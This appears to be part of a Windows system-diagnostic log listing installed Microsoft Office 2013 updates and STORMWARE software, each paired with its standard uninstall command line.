Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-040C-0000-0000000FF1CE}" "{9BB6CB7C-80E3-4F73-8A82-E3D88A3721BE}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-041B-0000-0000000FF1CE}" "{F1B4FD6F-C4F9-42B7-9B9E-BF3B24A8192D}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0C0A-0000-0000000FF1CE}" "{64B94D95-B6EC-4E25-832F-D15B13ACFB0C}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{7A8FE9A6-2BBC-48F7-A2CF-2578F60EC895}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0405-1000-0000000FF1CE}" "{4C4BCB5E-6458-4573-99DF-535EFCFD6AFC}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0409-1000-0000000FF1CE}" "{D6102DAA-7EB4-4E95-A58B-613078A242B0}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002C-0405-0000-0000000FF1CE}" "{7C7CDE76-1FF8-411F-9DA4-B4F91DBB58F5}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002C-0409-0000-0000000FF1CE}" "{14584904-277D-4E54-88E8-7705B774B526}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0044-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0044-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0405-0000-0000000FF1CE}" "{DBBAB83F-8D50-4AFB-B0FF-8B90CA68B215}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0409-0000-0000000FF1CE}" "{0489F084-D6CB-46CE-BFA3-C142E7278864}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0090-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0090-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00A1-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00A1-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00BA-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00BA-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00E1-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00E1-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00E2-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00E2-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0100-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0101-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0115-0409-0000-0000000FF1CE}" "{0489F084-D6CB-46CE-BFA3-C142E7278864}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0116-0409-1000-0000000FF1CE}" "{D6102DAA-7EB4-4E95-A58B-613078A242B0}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0117-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0405-0000-0000000FF1CE}" "{78A9943A-5DB1-4B90-8AEF-5CE30456FB6E}" "1029" "0"
Service Pack 1 for Microsoft Office 2013 (KB2850036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0409-0000-0000000FF1CE}" "{D0389590-F29B-4C3D-8CC1-E10BD7581DA4}" "1033" "0"
STORMWARE PDF Printer 10.1.0.1871-->"C:\Program Files\STORMWARE\PDF Printer\unins000.exe"
STORMWARE POHODA CZ Standard-->MsiExec.exe /X{6C2EA2B7-3EEB-45D4-9019-C5507CE89B6A}
Update for Microsoft Access 2013 (KB2910930) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{2933E2BE-BCA7-473D-9821-3CEC49A59975}" "1033" "0"
Update for Microsoft Access 2013 (KB2910930) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0015-0405-0000-0000000FF1CE}" "{2933E2BE-BCA7-473D-9821-3CEC49A59975}" "1029" "0"
Update for Microsoft Access 2013 (KB2910930) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0015-0409-0000-0000000FF1CE}" "{2933E2BE-BCA7-473D-9821-3CEC49A59975}" "1033" "0"
Update for Microsoft Lync 2013 (KB2881083) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0405-0000-0000000FF1CE}" "{0C2BC03F-DE92-4866-874F-14149A6E5B60}" "1029" "0"
Update for Microsoft Lync 2013 (KB2881083) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0409-0000-0000000FF1CE}" "{7DF13AFE-A484-4178-A82D-EF0689A24775}" "1033" "0"
Update for Microsoft Lync 2013 (KB2920744) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{AFF05EAD-0546-478E-ADC6-2979C8DACBCF}" "1033" "0"
Update for Microsoft Lync 2013 (KB2920744) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{AFF05EAD-0546-478E-ADC6-2979C8DACBCF}" "1033" "0"
Update for Microsoft Lync 2013 (KB2920744) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0405-0000-0000000FF1CE}" "{AFF05EAD-0546-478E-ADC6-2979C8DACBCF}" "1029" "0"
Update for Microsoft Lync 2013 (KB2920744) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-012B-0409-0000-0000000FF1CE}" "{AFF05EAD-0546-478E-ADC6-2979C8DACBCF}" "1033" "0"
Update for Microsoft Office 2013 (KB2760249) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{8C07AD38-38EB-4332-BCB3-F55A77C927DF}" "1033" "0"
Update for Microsoft Office 2013 (KB2760344) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{A7610F07-E844-4444-8E1D-D5BC8AD0B4C5}" "1033" "0"
Update for Microsoft Office 2013 (KB2760371) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{FFF87DE6-6602-4F65-BD75-D481E0539DCD}" "1033" "0"
Update for Microsoft Office 2013 (KB2760544) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{45B7D395-EB9B-414F-9E46-5849B42326E2}" "1033" "0"
Update for Microsoft Office 2013 (KB2768012) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{66421820-D3CA-450A-898C-78D7E40108E6}" "1033" "0"
Update for Microsoft Office 2013 (KB2827223) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{211D2583-A665-407F-AB88-ABB418F791AC}" "1033" "0"
Update for Microsoft Office 2013 (KB2827223) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0405-0000-0000000FF1CE}" "{211D2583-A665-407F-AB88-ABB418F791AC}" "1029" "0"
Update for Microsoft Office 2013 (KB2827223) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0409-0000-0000000FF1CE}" "{211D2583-A665-407F-AB88-ABB418F791AC}" "1033" "0"
Update for Microsoft Office 2013 (KB2837654) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{6D771289-E5A7-442F-82B5-5EC4217AEF03}" "1033" "0"
Update for Microsoft Office 2013 (KB2863843) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{AD7045B8-1D75-4B4C-8120-12F045D206C7}" "1033" "0"
Update for Microsoft Office 2013 (KB2863843) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{AD7045B8-1D75-4B4C-8120-12F045D206C7}" "1033" "0"
Update for Microsoft Office 2013 (KB2880478) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{7C5CEE0F-6823-4BB7-A28F-76FEC14EB6AC}" "1033" "0"
Update for Microsoft Office 2013 (KB2880977) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{0F78855B-2181-4FCE-82DD-ED649E985409}" "1033" "0"
Update for Microsoft Office 2013 (KB2881001) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{31849233-AD8B-42D7-9AE1-74C79C8E8C03}" "1033" "0"
Update for Microsoft Office 2013 (KB2881035) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{01B80B63-C638-4004-9148-75B8C8518B1E}" "1033" "0"
Update for Microsoft Office 2013 (KB2881035) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0405-0000-0000000FF1CE}" "{01B80B63-C638-4004-9148-75B8C8518B1E}" "1029" "0"
Update for Microsoft Office 2013 (KB2881035) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0409-0000-0000000FF1CE}" "{01B80B63-C638-4004-9148-75B8C8518B1E}" "1033" "0"
Update for Microsoft Office 2013 (KB2881035) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0090-0409-0000-0000000FF1CE}" "{01B80B63-C638-4004-9148-75B8C8518B1E}" "1033" "0"
Update for Microsoft Office 2013 (KB2883036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{B8E73381-09B1-4895-ACD0-34385B0F526D}" "1033" "0"
Update for Microsoft Office 2013 (KB2883036) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0100-0405-0000-0000000FF1CE}" "{B8E73381-09B1-4895-ACD0-34385B0F526D}" "1029" "0"
Update for Microsoft Office 2013 (KB2883095) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{7A9AB1AE-98B5-4B45-86B8-33A7B946D7CA}" "1033" "0"
Update for Microsoft Office 2013 (KB2889846) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{CC35AA52-E271-4561-B6B5-AB5952B0C761}" "1033" "0"
Update for Microsoft Office 2013 (KB2899498) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{E4046E6A-999E-45AE-8348-C76677AD0016}" "1033" "0"
Update for Microsoft Office 2013 (KB2899498) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0405-0000-0000000FF1CE}" "{E4046E6A-999E-45AE-8348-C76677AD0016}" "1029" "0"
Update for Microsoft Office 2013 (KB2899498) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0016-0409-0000-0000000FF1CE}" "{E4046E6A-999E-45AE-8348-C76677AD0016}" "1033" "0"
Update for Microsoft Office 2013 (KB2899522) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{87F6726E-6F99-42F0-8E11-55D798E57DD5}" "1033" "0"
Update for Microsoft Office 2013 (KB2910921) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{5CB0515F-E603-4153-BAAD-79603BB69C5D}" "1033" "0"
Update for Microsoft Office 2013 (KB2910921) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0405-0000-0000000FF1CE}" "{5CB0515F-E603-4153-BAAD-79603BB69C5D}" "1029" "0"
Update for Microsoft Office 2013 (KB2910921) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0409-0000-0000000FF1CE}" "{5CB0515F-E603-4153-BAAD-79603BB69C5D}" "1033" "0"
Update for Microsoft Office 2013 (KB2920735) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{6558508F-D5D1-45F3-947E-21DCAB07DDB1}" "1033" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0405-0000-0000000FF1CE}" "{1216F9D5-76C2-412E-BE6C-6C0A0485AC1C}" "1029" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0407-0000-0000000FF1CE}" "{A989751E-1F84-4900-BA21-FF264EED215E}" "1029" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0409-0000-0000000FF1CE}" "{7508718B-5CFF-4CB8-B413-E6E7E2D240B4}" "1029" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0409-0000-0000000FF1CE}" "{7508718B-5CFF-4CB8-B413-E6E7E2D240B4}" "1033" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-040C-0000-0000000FF1CE}" "{82C58D49-874A-4DC2-8E6F-042B3697FA7A}" "1033" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-041B-0000-0000000FF1CE}" "{D46A022F-C94B-4B2D-9D05-223102652368}" "1029" "0"
Update for Microsoft Office 2013 (KB2920740) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001F-0C0A-0000-0000000FF1CE}" "{9746192F-9BCF-40D4-BFFE-DBD187F9829F}" "1033" "0"
Update for Microsoft Office 2013 (KB2920742) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{1F618B44-1405-440D-AE9B-C089F34E5CB2}" "1033" "0"
Update for Microsoft Office 2013 (KB2920745) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{847F94B6-043F-4B75-87E1-F4BEFA9F0ED3}" "1033" "0"
Update for Microsoft Office 2013 (KB2920745) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{847F94B6-043F-4B75-87E1-F4BEFA9F0ED3}" "1033" "0"
Update for Microsoft Office 2013 (KB2920769) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{D2A7B64F-1BE1-4381-A555-FE49708BF92F}" "1033" "0"
Update for Microsoft Office 2013 (KB2920798) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{09670076-E7CA-4EE9-8D2D-FFB52D1D48E9}" "1033" "0"
Update for Microsoft Office 2013 (KB2920798) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0405-0000-0000000FF1CE}" "{09670076-E7CA-4EE9-8D2D-FFB52D1D48E9}" "1029" "0"
Update for Microsoft Office 2013 (KB2920798) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-006E-0409-0000-0000000FF1CE}" "{09670076-E7CA-4EE9-8D2D-FFB52D1D48E9}" "1033" "0"
Update for Microsoft Office 2013 (KB2956102) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{57AB41F1-2ADB-47D4-B5C2-88AF88B9123B}" "1033" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1033" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1033" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0405-1000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1029" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0409-1000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1033" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00BA-0405-0000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1029" "0"
Update for Microsoft OneDrive for Business (KB2920746) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00BA-0409-0000-0000000FF1CE}" "{0B0B3A2B-0A31-4324-9E65-AD30B6CD3CE9}" "1033" "0"
Update for Microsoft OneNote 2013 (KB2920739) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{07B7C4F8-1BFE-4CD2-83B0-41A8C5C7E16D}" "1033" "0"
Update for Microsoft OneNote 2013 (KB2920739) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-002A-0000-1000-0000000FF1CE}" "{07B7C4F8-1BFE-4CD2-83B0-41A8C5C7E16D}" "1033" "0"
Update for Microsoft OneNote 2013 (KB2920739) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00A1-0405-0000-0000000FF1CE}" "{07B7C4F8-1BFE-4CD2-83B0-41A8C5C7E16D}" "1029" "0"
Update for Microsoft OneNote 2013 (KB2920739) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-00A1-0409-0000-0000000FF1CE}" "{07B7C4F8-1BFE-4CD2-83B0-41A8C5C7E16D}" "1033" "0"
Update for Microsoft Outlook 2013 (KB2956087) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{FB36D9B7-0E1F-4B49-9431-5FE5A135EB91}" "1033" "0"
Update for Microsoft Outlook 2013 (KB2956087) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0405-0000-0000000FF1CE}" "{FB36D9B7-0E1F-4B49-9431-5FE5A135EB91}" "1029" "0"
Update for Microsoft Outlook 2013 (KB2956087) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-001A-0409-0000-0000000FF1CE}" "{FB36D9B7-0E1F-4B49-9431-5FE5A135EB91}" "1033" "0"
Update for Microsoft PowerPoint 2013 (KB2956149) 32-Bit Edition-->"C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE15\Oarpmany.exe" /removereleaseinpatch "{90150000-0011-0000-0000-0000000FF1CE}" "{D23C7382-BE56-49E5-9AA8-2E5ACC68E409}" "1033" "0"
